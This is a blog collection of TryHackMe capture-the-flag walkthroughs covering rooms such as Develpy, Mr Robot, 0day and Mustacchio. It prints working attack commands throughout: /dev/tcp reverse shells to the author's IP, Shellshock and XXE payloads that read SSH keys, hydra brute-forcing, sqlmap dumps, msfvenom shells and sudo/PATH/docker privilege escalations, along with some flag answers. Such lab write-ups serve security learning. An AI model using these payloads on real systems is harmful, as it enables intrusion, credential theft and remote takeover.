Tag: TryHackMe

TryHackMe solution: Develpy

Link: https://tryhackme.com/room/bsidesgtdevelpy

#1 “user.txt“

Scan open ports with RustScan:

rustscan -a 10.10.98.118 -- -sCV

Access: http://10.10.98.118:10000/

So, we can run a python file with the request we send.

I found the idea in python input vulnerability.

We will use __builtin__  module to execute command.

__import__("os").system("id")

And the command executed.

Stand a netcat listener in our machine:

nc -lvnp 1234

Get a reverse shell with:

__import__("os").system("bash -c 'bash -i >& /dev/tcp/10.6.63.158/1234 0>&1'")
#2 “root.txt“

Check crontab:

cat /etc/crontab

User root run /home/king/root.sh every minute.

Check permission of root.sh

We cannot modify it but we can delete it because it’s in our home, so replace it with a new file.

rm -rf root.sh
echo '/bin/bash -i >& /dev/tcp/10.6.63.158/1235 0>&1' > root.sh

Stand a netcat listener in our machine again:

nc -lvnp 1235

TryHackMe solution: Willow

Link: https://tryhackme.com/room/willow

#1 “User Flag:“

Scan open ports with RustScan:

rustscan -a 10.10.166.166 -- -sCV

Access the web, we have a number string. Decode the string with Hex to Text.

Hey Willow, here's your SSH Private key -- you know where the decryption key is!
...

So, this is a RSA encryption string, save this to a file named ‘rsa.txt‘. We have to find the private key.

Port 111 is open, we will show mount with:

showmount -e 10.10.166.166

We will mount this directory to our machine:

mkdir willow
sudo mount -t nfs 10.10.166.166:/var/failsafe willow

And we have rsa_keys file:

We will use python2 to decrypt the encrypted string.

d = 61527
n = 37627

with open("./rsa.txt","rb") as r:
    data=r.read()

numbers=[int(x) for x in data.rstrip('\n').split(' ')]
a=[pow(x, d, n) for x in numbers]
a=''.join(chr(x) for x in a)

with open("./id_rsa","wb") as w:
    w.write(a)

After having id_rsa, we will crack the passphrase. We will use JohntheRipper ssh2john.py to crack the private key.

python3 ssh2john.py id_rsa > hash

Next, we use JohntheRipper and rockyou.txt.

This link tells us how to install and use JohntheRipper.

john-the-ripper -w=rockyou.txt hash

Then, we can connect to ssh:

chmod 600 id_rsa
ssh -i id_rsa willow@10.10.166.166

There is an image:

We can get the file with:

scp -i id_rsa willow@10.10.138.151:/home/willow/user.jpg .

And we have the flag.

#2 “Root Flag:“

Check what we can do with:

sudo -l

Check /dev/

And we found hidden_backup.

sudo mount /dev/hidden_backup /tmp

Read the file.

Then change to root.

But we found nothing.

There is a hint.

“You’ve got my password now — go find your flag!”

So, we will use root‘s password to extract data from user.jpg.

steghide extract -sf user.jpg

TryHackMe solution: Linux Agency

Link: https://tryhackme.com/room/linuxagency

Task 3: Linux Fundamentals

#1 “What is the mission1 flag?“

Connect to ssh and you have the the flag.

#2 “What is the mission2 flag?“

Use ls in /home/mission1

#3 “What is the mission3 flag?“

Read flag in /home/mission2

#4 “What is the mission4 flag?“
strings flag.txt
#5 “What is the mission5 flag?“
#6 “What is the mission6 flag?“
#7 “What is the mission7 flag?“
#8 “What is the mission8 flag?“
#9 “What is the mission9 flag?“
find / -type f -user mission8 2>/dev/null | grep -v proc
#10 “What is the mission10 flag?“
cat rockyou.txt | grep mission10
#11 “What is the mission11 flag?“
find . -type f
#12 “What is the mission12 flag?“

Read .bashrc

cat .bashrc

Decode the string with Base64 decoder.

fTAyN2E5Zjc2OTUzNjQ1MzcyM2NkZTZkMzNkMWE5NDRmezIxbm9pc3NpbQo=

Then you can use Best Reverse String / Text tool.

#13 “What is the mission13 flag?“
chmod +r flag.txt
cat flag.txt
#14 “What is the mission14 flag?“
bWlzc2lvbjE0e2Q1OThkZTk1NjM5NTE0Yjk5NDE1MDc2MTdiOWU1NGQyfQo=

Decode the string with Base64 decoder.

#15 “What is the mission15 flag?“
01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101 01111011 01100110 01100011 00110100 00111001 00110001 00110101 01100100 00111000 00110001 00111000 01100010 01100110 01100001 01100101 01100110 01100110 00110000 00110001 00110001 00111000 00110101 01100011 00110011 00110101 00110100 00110111 01100110 00110010 00110101 00110101 00111001 00110110 01111101

Decode the string with Binary to Text Translator.

#16 “What is the mission16 flag?“
6D697373696F6E31367B38383434313764343030333363346332303931623434643763323661393038657D

Decode the string with Hex to Text.

#17 “What is the mission17 flag?“
chmod +x flag
./flag
#18 “What is the mission18 flag?“

You can run Java with Online Java Compiler.

#19 “What is the mission19 flag?“
ruby flag.rb
#20 “What is the mission20 flag?“

You can run C with Online C Compiler.

#21 “What is the mission21 flag?“
python3 flag.py
#22 “What is the mission22 flag?“

Read .bashrc

cat .bashrc

Decode the string with Base64 decoder.

fWZhYTk0ZDI0YjQ4OTZlMmE2ZGU5ODgwYmU0N2FhYzQyezIybm9pc3NpbQo=

Then you can use Best Reverse String / Text tool.

#23 “What is the mission23 flag?“

We will use python to run system commands.

import os
os.system('cd && ls -la');
os.system('cd && cat flag.txt');
#24 “What is the mission24 flag?“

We have a message here, the hint is ‘hosts‘ and ‘curly‘.

So we read /etc/hosts and found a host, use curl with this host.

cat /etc/hosts
curl mission24.com | grep mission
#25 “What is the mission25 flag?“

We found an execute file, run this and we have:

Use ltrace:

ltrace ./bribe

So, we have to add money to ‘pocket‘ and add value to ‘init‘.

export pocket=money
export init=1
./bribe
#26 “What is the mission26 flag?“

We have to use commands with the path to execute:

/bin/ls
/bin/cat flag.txt
#27 “What is the mission27 flag?“

We have an image:

strings flag.jpg | grep mission
#28 “What is the mission28 flag?“

We have a .gz file, extract it and read the flag:

gzip -d flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
strings flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png | grep mission
#29 “What is the mission29 flag?“

We will use ruby to run system commands.

system('cd && ls -la');
system('cd && cat txt.galf');

Then you can use Best Reverse String / Text tool.

#30 “What is the mission30 flag?“

The hint is:

“Maybe!! You need to know how to set authentication on websites.”

Do a little research and I found .htpasswd

cat .htpasswd
#31 “What is viktor’s Flag?“

The hint is:

“You will need a time machine used by programmers.“

So we think about logs.

Task 4: Privilege Escalation

#1 “What is dalia’s flag?“

Check crontab:

cat /etc/crontab

We see that dalia executes /opt/scripts/47.sh every minute, so we write to this file.

Stand a netcat listener in our machine:

nc -lvnp 1234

Write to /opt/scripts/47.sh

echo 'bash -i >& /dev/tcp/10.6.63.158/1234 0>&1' >> /opt/scripts/47.sh

Wait a little bit and we have the shell:

#2 “What is silvio’s flag?“

Check what we can do with:

sudo -l

Follow steps in GTFOBins, we can change to silvio.

TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'
#3 “What is reza’s flag?“

Use:

sudo -l

Spawn a TTY shell with:

python3 -c 'import pty; pty.spawn("/bin/bash");'

Then change to reza with:

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
#4 “What is jordan’s flag?“

Use:

sudo -l

We can run a python file as jordan but we cannot read or write to this file. Try to run it:

sudo -u jordan /opt/scripts/Gun-Shop.py

So, we will write a module for this file to import.

cd /tmp
echo 'import os' > shop.py
echo 'os.system("/bin/bash");' >> shop.py

And change to jordan with:

sudo -u jordan PYTHONPATH=/tmp/ /opt/scripts/Gun-Shop.py

Then you can use Best Reverse String / Text tool.

#5 “What is ken’s flag?“

Use:

sudo -l
sudo -u ken less /etc/profile
!/bin/sh
#6 “What is sean’s flag?“

Use:

sudo -l
sudo -u sean vim -c ':!/bin/sh'

sean‘s flag is in /var/log/syslog.bak

cat /var/log/syslog.bak | grep sean
#7 “What is penelope’s flag?“

Next to sean‘s flag, there is a base64 string:

VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==

Decode the string with Base64 decoder, we have penelope‘s password.

#8 “What is maya’s flag?“

In penelope‘s home, there is a maya‘s file and its SUID bit is set, so we use it to read file in /home/maya.

./base64 /home/maya/flag.txt

Decode the string.

#9 “What is robert’s Passphrase?“

We have a message:

We will get robert‘s id_rsa.

In our machine, we will use JohntheRipper to crack the private key, we will use ssh2john.py.

python3 ssh2john.py id_rsa > hash

Next, we use JohntheRipper and rockyou.txt.

This link tells us how to install and use JohntheRipper.

john-the-ripper -w=rockyou.txt hash
#10 “What is user.txt?“

We cannot change to robert. Check open ports:

ss -lntu

Port 2222 is open, so we think about connect to ssh server.

ssh robert@127.0.0.1 -p 2222 -i id_rsa

Use the Passphrase we found before.

Check what we can do with:

sudo -l

We can get root with:

sudo -u#-1 /bin/bash
#11 “What is root.txt?“

Use:

cat /proc/1/cgroup

We are inside a docker container, we will follow steps in Mounted docker socket to breakout of docker.

find / -name docker.sock 2>/dev/null
docker images

But there is an error:

So, we will find docker:

find / -name '*docker*' 2>/dev/null

And we found: /tmp/docker

/tmp/docker images
/tmp/docker run -it -v /:/host/ b5f279024ce0 chroot /host/ bash

And we finished the room.

TryHackMe solution: CTF collection Vol.2

Link: https://tryhackme.com/room/ctfcollectionvol2

#1 “Easter 1“

Access: http://10.10.200.87/robots.txt

Use Hex to Text to decode the string.

#2 “Easter 2“

Decode the base64 string with Base64 decoder several times, we have the directory:

http://10.10.200.87/DesKel_secret_base/

View page source and we have the flag.

#3 “Easter 3“

Use gobuster and common.txt:

gobuster dir -u http://10.10.221.97/ -w=common.txt

We found:

http://10.10.15.189/login/

View page source.

#4 “Easter 4“

Save the login request into a file named 'r.txt‘ and use sqlmap:

sqlmap -r r.txt --dbms=MySQL --batch --dump
#5 “Easter 5“

We also have username and password:

Login and we have the flag.

#6 “Easter 6“

Look at the Response Header.

#7 “Easter 7“

When using the web, there is a cookie:

Invited=0

Change the value to 1 and resend the request.

#8 “Easter 8“

There is a hint:

So we change User-Agent Header to get the message:

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Mobile/15E148 Safari/604.1
#9 “Easter 9“

We just need to view source of: http://10.10.200.87/ready/

#10 “Easter 10“

Access: http://10.10.221.97/free_sub/

So we add Referer Header to the request:

Referer: tryhackme.com
#11 “ Easter 11“

Change the dinner to ‘egg‘ and submit:

dinner=egg&submit=submit
#12 “ Easter 12“

View page source and we found:

http://10.10.15.189/jquery-9.1.2.js

Decode the string with Hex to Text.

#13 “Easter 13“
#14 “Easter 14“

View page source of the home page, we have:

Use Base64 to File to decode the base64 string to an image, then we have the flag.

#15 “Easter 15“

Each number is one character (some characters are the same number), try to find them and you have the flag.

#16 “Easter 16“

Play game2: http://10.10.221.97/game2/

And we get:

Send request with three parameter:

POST /game2/ HTTP/1.1
Host: 10.10.221.97
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://10.10.221.97
Connection: close
Referer: http://10.10.221.97/game2/
Cookie: Invited=0
Upgrade-Insecure-Requests: 1

button1=button1&button2=button2&button3=button3&submit=submit
#17 “Easter 17“

Still view page source of the home page:

Copy the binary string, add a zero ‘0‘ to the beginning and use Binary to Text Translator to decode the string:

01000101 01100001 01110011 01110100 01100101 01110010 00100000 00110001 00110111 00111010 00100000 01010100 01001000 01001101 01111011 01101010 00110101 01011111 01101010 00110101 01011111 01101011 00110011 01110000 01011111 01100100 00110011 01100011 00110000 01100100 00110011 01111101
#18 ” Easter 18″

Add a Header to the request:

Egg: Yes
#19 “Easter 19“

Use gobuster and common.txt, we found: http://10.10.221.97/small

#20 “Easter 20”

We just need to send a POST request with the username and password:

POST / HTTP/1.1

Host: 10.10.15.189

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.10.15.189

Connection: close

Referer: http://10.10.15.189/

Cookie: Invited=0

Upgrade-Insecure-Requests: 1



username=DesKel&password=heIsDumb

TryHackMe solution: Mr Robot CTF

Link: https://tryhackme.com/room/mrrobot

#1 “What is key 1?“

First, we use:

nmap -sC -sV 10.10.42.154

to find open ports in the machine.

We try to access: https://10.10.42.154/robots.txt

And we get the first flag.

#2 “What is key 2?“

Next, we use GoBuster. You can use this directory-list-2.3-medium.txt.

gobuster dir -u http://10.10.42.154/ -w ~/Downloads/files/directory-list-2.3-medium.txt

There is a login form in /wp-login.php. Try random username and password we have a message: Invalid username

We use hydra with fsocity.dic from robots.txt to brute force the username.

hydra -L fsocity.dic 10.10.42.154 -p test http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username"

Then the username is Elliot.

Try again to find the password.

hydra -l Elliot -P  fsocity.dic 10.10.42.154 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect"

And we found the password.

After login, go to Appearance/Editor tab and edit 404.php into php-reverse-shell.php (change the IP).

Update File.

Stand up a netcat listener on port 1234.

nc -lvnp 1234

And you just need to visit:

http://10.10.50.60/404.php

In /home/robot, we found a password file.

robot:c3fcd3d76192e4007dfb496cca67e13b

Crack the password with CrackStation.

Spawn a TTY shell with:

python3 -c 'import pty; pty.spawn("/bin/bash");'

And change to robot with the credential we found:

su robot

Now we can read the key 2.

#3 “What is key 3“

Find SUID files with:

find / -type f -perm -u=s 2>/dev/null

We found /usr/local/bin/nmap and we can get root with:

nmap --interactive
!sh

We have the last key.

TryHackMe solution: Blog

Link: https://tryhackme.com/room/blog

#5 “What version of the above CMS was being used?“
#4 “What CMS was Billy using?“

You may need to add this to your /etc/hosts

10.10.32.187	blog.thm

Use nmap to find open ports:

nmap -sCV 10.10.32.187
#3 “Where was user.txt found?“
#2 “user.txt“

Read 2 posts and we found usernames of 2 users: bjoel & kwheel

We will use hydra with rockyou.txt to brute force the password:

hydra -l kwheel -P rockyou.txt blog.thm http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect" -V

After having the password, we can login to the blog.

We will use Metasploit:

use exploit/multi/http/wp_crop_rce

Set RHOSTS, LHOST, USERNAME, PASSWORD, and run the exploit.

Spawn a TTY shell with:

python3 -c 'import pty; pty.spawn("/bin/bash");'

Find files with SUID:

find / -type f -perm -u=s 2>/dev/null

We found /usr/sbin/checker

ltrace /usr/sbin/checker

It checks a variable named ‘admin‘, so we will set this environment variable to 1.

export admin=1
checker

We just need to use find command.

find / -type f -name user.txt 2>/dev/null
#1 “root.txt“
cat /root/root.txt

TryHackMe solution: 0day

Link: https://tryhackme.com/room/0day

#1 “user.txt“

Enumeration

Scan open ports with RustScan:

rustscan -a 10.10.212.113 -- -sCV

Port 80 is open, access the web, but we found nothing:

Use nikto to scan web:

./nikto.pl -h http://10.10.212.113/

We found ‘shellshock’ vulnerability in /cgi-bin/test.cgi

Foothold

We can read more about this vulnerability in Inside Shellshock: How hackers are using it to exploit systems.

Add command in a payload in User-Agent Header:

User-Agent: () { :; }; echo; /bin/bash -c 'id'

Send a payload to the server with request:

GET /cgi-bin/test.cgi HTTP/1.1
Host: 10.10.212.113
User-Agent: () { :; }; echo; /bin/bash -c 'id'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 02 Sep 2020 17:11:56 GMT
If-None-Match: "bd1-5ae57bb9a1192-gzip"
Cache-Control: max-age=0

And the command executed:

Stand a netcat listener in our machine:

nc -lvnp 1234

And call to our listener with (remember to change your IP and port):

User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.6.63.158/1234 0>&1'

We found the flag in /home/ryan:

#2 “root.txt“

Privilege Escalation

Check the kernel version with:

uname -r

Search for the version in Exploit Database, we found Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs’ Local Privilege Escalation.

Download the exploit, host a http server in our machine:

python3 -m http.server

In the target machine, spawn a TTY shell with:

python3 -c 'import pty; pty.spawn("/bin/bash");'

Get the exploit with:

cd /tmp
wget http://10.6.63.158:8000/37292.c

After getting the file, try to run it, but we have an error:

gcc 37292.c -o ofs

This error occurred because the file’s location is not in the PATH, we can fix this by adding default PATH to the current PATH.

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Run the command again, and we change to root:

We have the flag now.

TryHackMe solution: Boiler CTF

Link: https://tryhackme.com/room/boilerctf2

Task 1: Questions #1

#2 “What is on the highest port?“
#3 “What’s running on port 10000?“

Scan ports with RustScan:

rustscan -a 10.10.182.52 -- -sCV
#1 “File extension after anon login“

Anonymous FTP login is allowed, so we connect to ftp:

ftp 10.10.182.52

Username: anonymous

ls -la
#4 “Can you exploit the service running on that port? (yay/nay answer)“

We can’t find any exploit.

#5 “What’s CMS can you access?“

Use dirsearch:

python3 dirsearch.py -u 10.10.182.52
#6 “The interesting file name in the folder?“

Use dirsearch again and we found:

http://10.10.182.52/joomla/_test/

Search for sar2html in Exploit Database and we found sar2html 3.2.1 – ‘plot’ Remote Code Execution. Download and use this exploit, we found a file.

Or we just need to access:

http://10.10.182.52/joomla/_test/index.php?plot=;ls

Task 2: Questions #2

#1 “Where was the other users pass stored(no extension, just the name)?“

Read the file we just found and we can connect to ssh.

ssh basterd@10.10.182.52 -p 55007
ls -la
#2 “user.txt“

Read the file, change user to stoner (remember to remove the # in the beginning of the line).

su stoner

‘user.txt‘ is not ‘user.txt‘.

#3 “What did you exploit to get the privileged user?“

Find SUID files with:

find / -type f -perm -u=s 2>/dev/null
#4 “root.txt“

We can get root with:

find . -exec /bin/sh -p \; -quit

TryHackMe solution: Thompson

Link: https://tryhackme.com/room/bsidesgtthompson

#1 “user.txt“

Enumeration

Scan open port with RustScan:

rustscan -a 10.10.10.244 -- -sCV

Use dirsearch:

python3 dirsearch.py -u http://10.10.10.244:8080/

Foothold

Access: http://10.10.10.244:8080/manager/html

We do not have the credential and we get:

Reload the page and login.

Scroll down and we can upload war file.

We will create a shell and upload it to the server.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.6.63.158 LPORT=1234 -f war -o revshell.war

Stand a netcat listener in our machine:

nc -lvnp 1234

Then access: http://10.10.73.144:8080/revshell/

We can now get user.txt in /home/jack:

#2 “root.txt“

Privilege Escalation

Check crontab with:

cat /etc/crontab

Root execute id.sh every minute.

Check permission of the file.

ls -la /home/jack/id.sh

We can write to id.sh

cat /home/jack/id.sh
echo 'cat /root/root.txt > test.txt' >> id.sh

Wait a little bit for root to execute the command, then read test.txt.

cat /home/jack/test.txt

TryHackMe solution: Mustacchio

Link: https://tryhackme.com/room/mustacchio

#1 “What is the user flag?“

Enumeration

Scan open port with RustScan:

rustscan -a 10.10.125.220 -- -sCV

Access the web: http://10.10.125.220/

View page source, we found a directory: http://10.10.125.220/custom/js/

Downloads users.bak.

strings users.bak

We have a credential:

admin:1868e36a6d2b17d4c2745f1659433a54d4bc5f4b

Crack the hash with CrackStation.

Go to: http://10.10.125.220:8765/

And login.

Foothold

View page source, we have:

Download file: http://10.10.125.220:8765/auth/dontforget.bak

We know that we will inject XML code into the text box, and the XML have the format as in dontforget.bak.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>com</com>
</comment>

Then we have:

The hint is:

<!-- Barry, you can now SSH in using your key!-->

So, we will get the key with:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [<!ENTITY read SYSTEM 'file:///home/barry/.ssh/id_rsa'>]>
<comment>
  <name>&read;</name>
  <author>Barry Clad</author>
  <com>com</com>
</comment>

View page source for better view:

Save the key into a file named barry.

Use JohntheRipper to crack the private key, we will use ssh2john.py.

python3 ssh2john.py barry > barry.hash

Next, we use JohntheRipper and rockyou.txt.

This link tells us how to install and use JohntheRipper.

john-the-ripper -w=rockyou.txt barry.hash

And we found the passphrase of the key.

Connect to ssh with:

chmod 600 barry
ssh -i barry barry@10.10.125.220

We found the flag.

#2 “What is the root flag?“

Privilege Escalation

Find SUID files with:

And we found /home/joe/live_log

strings /home/joe/live_log

This file use tail, so we will create a new tail for this file.

cd /tmp
echo '#!/bin/bash' > tail
echo 'bash -p' >> tail
chmod +x tail
export PATH=/tmp:$PATH
/home/joe/live_log

And we have root shell.

Design a site like this with WordPress.com
Get started